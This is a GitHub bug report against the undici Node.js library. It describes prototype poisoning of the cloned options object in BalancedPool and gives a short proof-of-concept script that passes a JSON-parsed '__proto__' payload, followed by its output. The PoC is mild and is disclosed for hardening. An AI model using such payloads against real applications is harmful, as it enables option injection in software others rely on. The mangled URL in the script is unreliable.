Skip to content

harden against prototype polution #4883

@notwo1f

Description

@notwo1f

Bug Description

this bug is found by nova ,which is a automatic tools from group of Song Wu, intern ,Zhejiang University ,BoWang independent researcher ,Xingwei Lin, Zhejiang University .

undici BalancedPool clones user-supplied options with Object.assign({}, this[kOptions]), allowing an attacker-controlled own proto property to modify the prototype of the cloned internal options object.

undici <= 7.22.0

BalancedPool stores user-supplied options in this[kOptions] and later clones them in balanced-pool.js using:

const pool = this[kFactory](upstreamOrigin, Object.assign({}, this[kOptions]))

The issue is that this[kOptions] comes from attacker-controlled user input. If the provided options object contains an own enumerable proto property, then Object.assign({}, this[kOptions]) creates a new object whose prototype is changed during the assign operation.

As a result, the cloned internal options object passed into factory inherits attacker-controlled properties through its prototype chain.

In my PoC, this causes the cloned object to expose inherited properties such as:

  • polluted = "YES"
  • connections = 1

At the same time:

  • hasOwnProperty('polluted') is false
  • Object.getPrototypeOf(captured).polluted is "YES"
  • {}.polluted is undefined

So based on current testing, this appears to be local prototype poisoning / inherited property injection on the cloned options object, rather than global Object.prototype pollution.

Steps To Reproduce:

  1. Create a file named testbug.js with the following content:
const { BalancedPool } = require('undici')
const { EventEmitter } = require('node:events')

let captured

const attackerOptions = JSON.parse(`
{
  "__proto__": {
    "polluted": "YES",
    "connections": 1
  }
}
`)

attackerOptions.factory = (origin, opts) => {
  captured = opts

  const stub = new EventEmitter()
  stub.dispatch = () => true
  stub.close = () => Promise.resolve()
  stub.destroy = () => Promise.resolve()
  stub.destroyed = false
  stub.closed = false

  return stub
}

new BalancedPool(['http://example.com/'], attackerOptions)

console.log('captured.polluted =', captured.polluted)
console.log('captured.connections =', captured.connections)
console.log('hasOwn polluted =', Object.prototype.hasOwnProperty.call(captured, 'polluted'))
console.log('proto.polluted =', Object.getPrototypeOf(captured).polluted)
console.log('global polluted =', {}.polluted)
  1. Run the PoC with:
node testbug.js
  1. Observe output similar to:
captured.polluted = YES
captured.connections = 1
hasOwn polluted = false
proto.polluted = YES
global polluted = undefined

The code path responsible is in balanced-pool.js:

const pool = this[kFactory](upstreamOrigin, Object.assign({}, this[kOptions]))

Impact:

This issue does not appear to cause global Object.prototype pollution based on current testing. However, it does allow attacker-controlled inherited properties to appear on the cloned internal options object. If downstream logic trusts those option objects or reads properties without checking whether they are own properties, this may create opportunities for option confusion, inherited property injection, or unsafe behavior in code paths that consume those options. At minimum, this appears to be an unsafe cloning / hardening issue for attacker-controlled input.

Supporting Material/References:

Reproduction output:

captured.polluted = YES
captured.connections = 1
hasOwn polluted = false
proto.polluted = YES
global polluted = undefined

Suspected vulnerable code path in balanced-pool.js:

const pool = this[kFactory](upstreamOrigin, Object.assign({}, this[kOptions]))

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions